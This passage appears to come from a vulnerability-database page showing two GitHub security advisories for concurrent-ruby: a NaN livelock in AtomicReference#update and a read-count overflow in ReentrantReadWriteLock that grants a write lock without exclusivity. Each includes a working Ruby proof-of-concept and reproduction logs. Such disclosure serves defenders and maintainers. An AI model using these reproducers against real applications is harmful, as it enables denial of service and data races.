compare-and-set:\n\n```ruby\ndef compare_and_set(old_value, new_value)\n if old_value.kind_of? Numeric\n while true\n old = get\n\n return false unless old.kind_of? Numeric\n return false unless old == old_value\n\n result = _compare_and_set(old, new_value)\n return result if result\n end\n else\n _compare_and_set(old_value, new_value)\n end\nend\n```\n\nWhen the stored value is `Float::NAN`, `old_value = get` returns NaN. The later comparison `old == old_value` is false because NaN is not equal to itself. `compare_and_set` therefore returns false every time. `AtomicReference#update` treats that as a failed concurrent update and retries forever.\n\nThis is reachable through the public `Concurrent::AtomicReference` API and does not require native extensions or undefined behavior.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/atomic_reference\u0027\nrequire \u0027concurrent/version\u0027\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=AtomicReference#update livelock when current value is Float::NAN\"\n\nref = Concurrent::AtomicReference.new(Float::NAN)\nattempts = 0\nfinished = false\n\nworker = Thread.new do\n ref.update do |_old_value|\n attempts += 1\n 0.0\n end\n finished = true\nend\n\nsleep 0.25\n\nputs \"nan_update_attempts_after_250ms=#{attempts}\"\nputs \"nan_update_finished=#{finished}\"\nputs \"nan_update_worker_alive=#{worker.alive?}\"\n\nif worker.alive? \u0026\u0026 !finished \u0026\u0026 attempts \u003e 1000\n puts \u0027result=REPRODUCED busy retry loop; update did not complete\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nworker.kill\nworker.join\n\ncontrol = Concurrent::AtomicReference.new(1.0)\ncontrol_attempts = 0\ncontrol_result = control.update do |old_value|\n control_attempts += 1\n old_value + 1.0\nend\n\nputs \"control_update_result=#{control_result.inspect}\"\nputs \"control_update_attempts=#{control_attempts}\"\nputs \"control_update_final_value=#{control.value.inspect}\"\n```\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=AtomicReference#update livelock when current value is Float::NAN\nnan_update_attempts_after_250ms=1926016\nnan_update_finished=false\nnan_update_worker_alive=true\nresult=REPRODUCED busy retry loop; update did not complete\ncontrol_update_result=2.0\ncontrol_update_attempts=1\ncontrol_update_final_value=2.0\n```\n\n### Impact\nThis is an application-level denial of service issue. If an application stores externally derived numeric data in a `Concurrent::AtomicReference`, an attacker or faulty upstream data source may be able to cause the stored value to become `Float::NAN`. Any later call to `AtomicReference#update` on that reference will spin indefinitely, repeatedly executing the update block and consuming CPU.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-h8w8-99g7-qmvj",
"modified": "2026-06-19T20:47:35Z",
"published": "2026-06-19T20:47:35Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-h8w8-99g7-qmvj"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby : `AtomicReference#update` livelocks when the stored value is `Float::NAN`"
}
GHSA-WV3X-4VXV-WHPP
Vulnerability from github – Published: 2026-06-19 20:47 – Updated: 2026-07-20 13:36
VLAI
Summary
Concurrent Ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity
Details
Summary
Concurrent::ReentrantReadWriteLock can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.
The lock stores a thread's local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as WRITE_LOCK_HELD. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. try_write_lock then treats the thread as already holding a write lock and returns true without setting the global RUNNING_WRITER bit.
This breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.
Version
Software: concurrent-ruby Version: 1.3.6 Commit: 7a1b78941c081106c20a9ca0144ac73a48d254ab
Details
The implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:
READER_BITS = 15
WRITER_BITS = 14
WAITING_WRITER = 1 << READER_BITS
RUNNING_WRITER = 1 << (READER_BITS + WRITER_BITS)
MAX_READERS = WAITING_WRITER - 1
MAX_WRITERS = RUNNING_WRITER - MAX_READERS - 1
WRITE_LOCK_HELD = 1 << READER_BITS
READ_LOCK_MASK = WRITE_LOCK_HELD - 1
WRITE_LOCK_MASK = MAX_WRITERS
When a thread already holds a lock, acquire_read_lock increments @HeldCount:
if (held = @HeldCount.value) > 0
if held & READ_LOCK_MASK == 0
@Counter.update { |c| c + 1 }
end
@HeldCount.value = held + 1
return true
end
After 32,768 read acquisitions, the per-thread held count becomes 32768, which is equal to WRITE_LOCK_HELD. Then try_write_lock returns success through its "already have a write lock" branch:
def try_write_lock
if (held = @HeldCount.value) >= WRITE_LOCK_HELD
@HeldCount.value = held + WRITE_LOCK_HELD
return true
else
# normal global writer acquisition path
end
end
This branch does not set the global RUNNING_WRITER bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.
PoC
#!/usr/bin/env ruby
# frozen_string_literal: true
require 'concurrent/atomic/reentrant_read_write_lock'
require 'concurrent/version'
require 'thread'
def wait_for_queue(queue, timeout_seconds)
deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout_seconds
loop do
return queue.pop(true)
rescue ThreadError
return nil if Process.clock_gettime(Process::CLOCK_MONOTONIC) >= deadline
sleep 0.001
end
end
puts "ruby=#{RUBY_DESCRIPTION}"
puts "concurrent_ruby_version=#{Concurrent::VERSION}"
puts "poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity"
lock = Concurrent::ReentrantReadWriteLock.new
other_reader_ready = Queue.new
other_reader_stop = Queue.new
other_reader = Thread.new do
lock.acquire_read_lock
other_reader_ready << :held
other_reader_stop.pop
end
wait_for_queue(other_reader_ready, 1)
puts "other_thread_holds_read_lock=true"
depth = Concurrent::ReentrantReadWriteLock::WRITE_LOCK_HELD
depth.times { lock.acquire_read_lock }
held_count = lock.instance_eval { @HeldCount.value }
counter_before = lock.instance_eval { @Counter.value }
puts "main_thread_read_acquisitions=#{depth}"
puts "main_thread_held_count=#{held_count}"
puts "counter_before_try_write=#{counter_before}"
puts "running_writer_bit_before=#{(counter_before & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}"
write_granted = lock.try_write_lock
counter_after = lock.instance_eval { @Counter.value }
puts "try_write_lock_returned=#{write_granted}"
puts "counter_after_try_write=#{counter_after}"
puts "running_writer_bit_after=#{(counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}"
third_reader_ready = Queue.new
third_reader = Thread.new do
lock.acquire_read_lock
third_reader_ready << :acquired
end
third_reader_acquired = wait_for_queue(third_reader_ready, 0.25) == :acquired
puts "new_reader_acquired_while_write_claimed=#{third_reader_acquired}"
if write_granted && third_reader_acquired && (counter_after & Concurrent::ReentrantReadWriteLock::RUNNING_WRITER).zero?
puts 'result=REPRODUCED write lock granted without setting global writer state'
else
puts 'result=NOT_REPRODUCED'
end
third_reader.kill
other_reader_stop << :stop
other_reader.kill
Log evidence
ruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]
concurrent_ruby_version=1.3.6
poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity
other_thread_holds_read_lock=true
main_thread_read_acquisitions=32768
main_thread_held_count=32768
counter_before_try_write=2
running_writer_bit_before=false
try_write_lock_returned=true
counter_after_try_write=2
running_writer_bit_after=false
new_reader_acquired_while_write_claimed=true
result=REPRODUCED write lock granted without setting global writer state
Impact
This breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.
Credit
Pranjali Thakur - depthfirst (depthfirst.com)
Severity
{
"affected": [
{
"package": {
"ecosystem": "RubyGems",
"name": "concurrent-ruby"
},
"ranges": [
{
"events": [
{
"introduced": "0"
},
{
"fixed": "1.3.7"
}
],
"type": "ECOSYSTEM"
}
]
}
],
"aliases": [
"CVE-2026-54905"
],
"database_specific": {
"cwe_ids": [
"CWE-128"
],
"github_reviewed": true,
"github_reviewed_at": "2026-06-19T20:47:38Z",
"nvd_published_at": "2026-06-24T17:17:29Z",
"severity": "LOW"
},
"details": "### Summary\n`Concurrent::ReentrantReadWriteLock` can incorrectly grant a write lock after one thread acquires the read lock 32,768 times.\n\nThe lock stores a thread\u0027s local read and write hold counts in one integer. The low 15 bits are used for the read hold count, and bit 15 is used as `WRITE_LOCK_HELD`. After 32,768 reentrant read acquisitions, the local read count crosses into the write-lock bit. `try_write_lock` then treats the thread as already holding a write lock and returns `true` without setting the global `RUNNING_WRITER` bit.\n\nThis breaks the core mutual-exclusion guarantee: the caller is told it has a write lock, but other threads can still hold or acquire read locks at the same time.\n\n### Version\nSoftware: concurrent-ruby\nVersion: 1.3.6\nCommit: 7a1b78941c081106c20a9ca0144ac73a48d254ab\n\n### Details\n\nThe implementation uses a shared counter to track global readers/writers and a per-thread local counter to support reentrancy:\n\n```ruby\nREADER_BITS = 15\nWRITER_BITS = 14\n\nWAITING_WRITER = 1 \u003c\u003c READER_BITS\nRUNNING_WRITER = 1 \u003c\u003c (READER_BITS + WRITER_BITS)\nMAX_READERS = WAITING_WRITER - 1\nMAX_WRITERS = RUNNING_WRITER - MAX_READERS - 1\n\nWRITE_LOCK_HELD = 1 \u003c\u003c READER_BITS\nREAD_LOCK_MASK = WRITE_LOCK_HELD - 1\nWRITE_LOCK_MASK = MAX_WRITERS\n```\n\nWhen a thread already holds a lock, `acquire_read_lock` increments `@HeldCount`:\n\n```ruby\nif (held = @HeldCount.value) \u003e 0\n if held \u0026 READ_LOCK_MASK == 0\n @Counter.update { |c| c + 1 }\n end\n @HeldCount.value = held + 1\n return true\nend\n```\n\nAfter 32,768 read acquisitions, the per-thread held count becomes `32768`, which is equal to `WRITE_LOCK_HELD`. Then `try_write_lock` returns success through its \"already have a write lock\" branch:\n\n```ruby\ndef try_write_lock\n if (held = @HeldCount.value) \u003e= WRITE_LOCK_HELD\n @HeldCount.value = held + WRITE_LOCK_HELD\n return true\n else\n # normal global writer acquisition path\n end\nend\n```\n\nThis branch does not set the global `RUNNING_WRITER` bit. Other threads therefore do not observe an active writer and can continue holding or acquiring read locks while the caller believes it owns the write lock.\n\n### PoC\n\n```ruby\n#!/usr/bin/env ruby\n# frozen_string_literal: true\n\nrequire \u0027concurrent/atomic/reentrant_read_write_lock\u0027\nrequire \u0027concurrent/version\u0027\nrequire \u0027thread\u0027\n\ndef wait_for_queue(queue, timeout_seconds)\n deadline = Process.clock_gettime(Process::CLOCK_MONOTONIC) + timeout_seconds\n loop do\n return queue.pop(true)\n rescue ThreadError\n return nil if Process.clock_gettime(Process::CLOCK_MONOTONIC) \u003e= deadline\n\n sleep 0.001\n end\nend\n\nputs \"ruby=#{RUBY_DESCRIPTION}\"\nputs \"concurrent_ruby_version=#{Concurrent::VERSION}\"\nputs \"poc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity\"\n\nlock = Concurrent::ReentrantReadWriteLock.new\nother_reader_ready = Queue.new\nother_reader_stop = Queue.new\n\nother_reader = Thread.new do\n lock.acquire_read_lock\n other_reader_ready \u003c\u003c :held\n other_reader_stop.pop\nend\n\nwait_for_queue(other_reader_ready, 1)\nputs \"other_thread_holds_read_lock=true\"\n\ndepth = Concurrent::ReentrantReadWriteLock::WRITE_LOCK_HELD\ndepth.times { lock.acquire_read_lock }\n\nheld_count = lock.instance_eval { @HeldCount.value }\ncounter_before = lock.instance_eval { @Counter.value }\n\nputs \"main_thread_read_acquisitions=#{depth}\"\nputs \"main_thread_held_count=#{held_count}\"\nputs \"counter_before_try_write=#{counter_before}\"\nputs \"running_writer_bit_before=#{(counter_before \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}\"\n\nwrite_granted = lock.try_write_lock\ncounter_after = lock.instance_eval { @Counter.value }\n\nputs \"try_write_lock_returned=#{write_granted}\"\nputs \"counter_after_try_write=#{counter_after}\"\nputs \"running_writer_bit_after=#{(counter_after \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER) != 0}\"\n\nthird_reader_ready = Queue.new\nthird_reader = Thread.new do\n lock.acquire_read_lock\n third_reader_ready \u003c\u003c :acquired\nend\n\nthird_reader_acquired = wait_for_queue(third_reader_ready, 0.25) == :acquired\nputs \"new_reader_acquired_while_write_claimed=#{third_reader_acquired}\"\n\nif write_granted \u0026\u0026 third_reader_acquired \u0026\u0026 (counter_after \u0026 Concurrent::ReentrantReadWriteLock::RUNNING_WRITER).zero?\n puts \u0027result=REPRODUCED write lock granted without setting global writer state\u0027\nelse\n puts \u0027result=NOT_REPRODUCED\u0027\nend\n\nthird_reader.kill\nother_reader_stop \u003c\u003c :stop\nother_reader.kill\n```\n\n### Log evidence\n```text\nruby=ruby 2.6.10p210 (2022-04-12 revision 67958) [universal.arm64e-darwin25]\nconcurrent_ruby_version=1.3.6\npoc=ReentrantReadWriteLock read-depth overflow grants write lock without exclusivity\nother_thread_holds_read_lock=true\nmain_thread_read_acquisitions=32768\nmain_thread_held_count=32768\ncounter_before_try_write=2\nrunning_writer_bit_before=false\ntry_write_lock_returned=true\ncounter_after_try_write=2\nrunning_writer_bit_after=false\nnew_reader_acquired_while_write_claimed=true\nresult=REPRODUCED write lock granted without setting global writer state\n```\n\n### Impact\nThis breaks the write-lock exclusivity guarantee. After the overflow, a thread can be told it has acquired the write lock while other threads can still hold or acquire read locks, allowing races and inconsistent reads of protected mutable state.\n\n### Credit\nPranjali Thakur - depthfirst ([depthfirst.com](\u003chttp://depthfirst.com\u003e))",
"id": "GHSA-wv3x-4vxv-whpp",
"modified": "2026-07-20T13:36:59Z",
"published": "2026-06-19T20:47:38Z",
"references": [
{
"type": "WEB",
"url": "https://github.com/ruby-concurrency/concurrent-ruby/security/advisories/GHSA-wv3x-4vxv-whpp"
},
{
"type": "ADVISORY",
"url": "https://nvd.nist.gov/vuln/detail/CVE-2026-54905"
},
{
"type": "PACKAGE",
"url": "https://github.com/ruby-concurrency/concurrent-ruby"
},
{
"type": "WEB",
"url": "https://github.com/rubysec/ruby-advisory-db/blob/master/gems/concurrent-ruby/CVE-2026-54905.yml"
},
{
"type": "WEB",
"url": "https://www.cve.org/CVERecord/SearchResults?query=CVE-2026-54905"
}
],
"schema_version": "1.4.0",
"severity": [
{
"score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:N/A:N",
"type": "CVSS_V3"
},
{
"score": "CVSS:4.0/AV:L/AC:L/AT:P/PR:L/UI:N/VC:L/VI:L/VA:L/SC:N/SI:N/SA:N",
"type": "CVSS_V4"
}
],
"summary": "Concurrent Ruby: `ReentrantReadWriteLock` read-count overflow grants a write lock without exclusivity"
}
Loading…
Trend slope:
-
(linear fit over daily sighting counts)
Show additional events:
Loading…
Experimental. This forecast is provided for visualization only and may change without notice. Do not use it for operational decisions.
Forecast uses a logistic model when the trend is rising, or an exponential decay model when the trend is falling. Fitted via linearized least squares.
Sightings
| Author | Source | Type | Date | Other |
|---|
Nomenclature
- Seen: The vulnerability was mentioned, discussed, or observed by the user.
- Confirmed: The vulnerability has been validated from an analyst's perspective.
- Published Proof of Concept: A public proof of concept is available for this vulnerability.
- Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
- Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
- Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
- Not confirmed: The user expressed doubt about the validity of the vulnerability.
- Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.
Loading…
The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the
vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base
model, served locally by ML-Gateway.
They have not been verified by an analyst and are provided for guidance only.
Loading…
Loading…